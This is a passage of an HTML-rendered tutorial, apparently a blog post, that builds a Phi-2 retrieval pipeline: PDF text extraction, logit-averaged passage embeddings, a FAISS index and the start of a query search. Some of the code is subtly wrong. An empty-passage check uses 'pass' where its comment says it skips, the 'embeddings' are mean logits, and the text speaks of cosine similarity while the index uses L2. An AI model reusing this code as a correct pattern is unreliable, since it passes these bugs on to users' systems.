&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;read_pdf&lt;/span&gt;(file_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_reader &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; PyPDF2&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PdfFileReader(pdf_file_obj)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    num_pages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numPages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; page_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(num_pages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        page_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getPage(page_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; page_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;extractText()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;yield&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id=&#34;52-generate-embeddings-using-phi-2&#34;&gt;5.2 Generate embeddings using Phi-2&lt;/h3&gt;
&lt;p&gt;Now that we have the text, the following functions show how to create the embeddings using Phi-2. We read the text as a list of context passages and then use Phi-2 to encode each passage and extract its embedding using the &lt;code&gt;encode&lt;/code&gt; method.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_embeddings&lt;/span&gt;(file_path, tokenizer, model, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(read_pdf(file_path))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    embeddings &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; passage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; passage&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip the passage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(passage, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            embeddings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; embeddings, context_passages&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here are a few things that are going on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given that we are using this for inference and not training, we use a &lt;code&gt;torch.&lt;/code&gt;no_grad()`, which tells PyTorch not to track, calculate, or modify gradients while executing code within this block. This helps us save the amount of memory needed.&lt;/li&gt;
&lt;li&gt;Inside this block, the input_ids are fed into the model, and the output is stored in the output variable. The logits, which are the raw, unnormalized scores outputted by the last layer of the model, are then extracted from the model&amp;rsquo;s output.&lt;/li&gt;
&lt;li&gt;The logits are then processed to generate the embedding for the passage. The .mean(dim=1) method calculates the mean of the logits along dimension 1, which typically represents the sequence length in a language model.&lt;/li&gt;
&lt;li&gt;The .detach() method detaches the result from the computation graph so that no gradients will be backpropagated along this variable.&lt;/li&gt;
&lt;li&gt;The .cpu() method moves the tensor to the CPU if it&amp;rsquo;s not already there. Finally, the tensor is converted to a numpy array using the .numpy() method.&lt;/li&gt;
&lt;li&gt;The resulting embedding is then appended to the embeddings list, which contains the embeddings for all the passages.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;53-creating-vector-index&#34;&gt;5.3 Creating Vector Index&lt;/h3&gt;
&lt;p&gt;The following function shows how to create a vector index using the FAISS library and perform a similarity search to retrieve relevant context passages based on a user query. The create_index function initializes a flat index structure to store the embeddings and adds the embeddings to the index. The search_query function encodes the user query using Phi-2 to obtain its embedding and performs a similarity search against the saved embeddings to retrieve the most similar context passages.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_index&lt;/span&gt;(query_embedding):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;IndexFlatL2(query_embedding[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;shape[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;])  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Euclidean distance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalize_L2(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add embeddings to the index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(&lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(query_embedding), total&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(query_embedding)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ndim &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reshape(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Reshape 1D array to 2D&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(item)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;normalize_L2()&lt;/code&gt; function normalizes the vectors and is a crucial step when using Euclidean distance in high-dimensional spaces to ensure that the distance is not dominated by the dimensionality of the vectors. As we iterate through the embeddings, we check if the item is a 1D array and reshape it to a 2D array if necessary. This is important because FAISS expects the input to be a 2D array, and we need to reshape the 1D array to a 2D array before adding it to the index.&lt;/p&gt;
&lt;p&gt;The function finally returns the created index. This index can then be used to perform efficient similarity searches.&lt;/p&gt;
&lt;h3 id=&#34;54-perform-similarity-search&#34;&gt;5.4 Perform Similarity Search&lt;/h3&gt;
&lt;p&gt;The following function shows how to perform a similarity search using the vector index to retrieve relevant context passages based on a user query. As noted earlier, the most similar context passages are then retrieved based on cosine similarity or another distance metric.&lt;/p&gt;
&lt;p&gt;The function starts by encoding the input query using a tokenizer and performs a similarity search on the FAISS index using the query embedding. It retrieves the indices of the top 3 most similar passages to the input query and then retrieves the corresponding context passages from the context_passages list. The similar context passages are then concatenated into a single string and passed to the Phi-2 model to generate a response.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;search_query&lt;/span&gt;(input_query, inputTokenizer, model, device, index, context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Given a new query context, encode it and perform similarity search&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; inputTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(input_query,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; input_ids&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;long()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
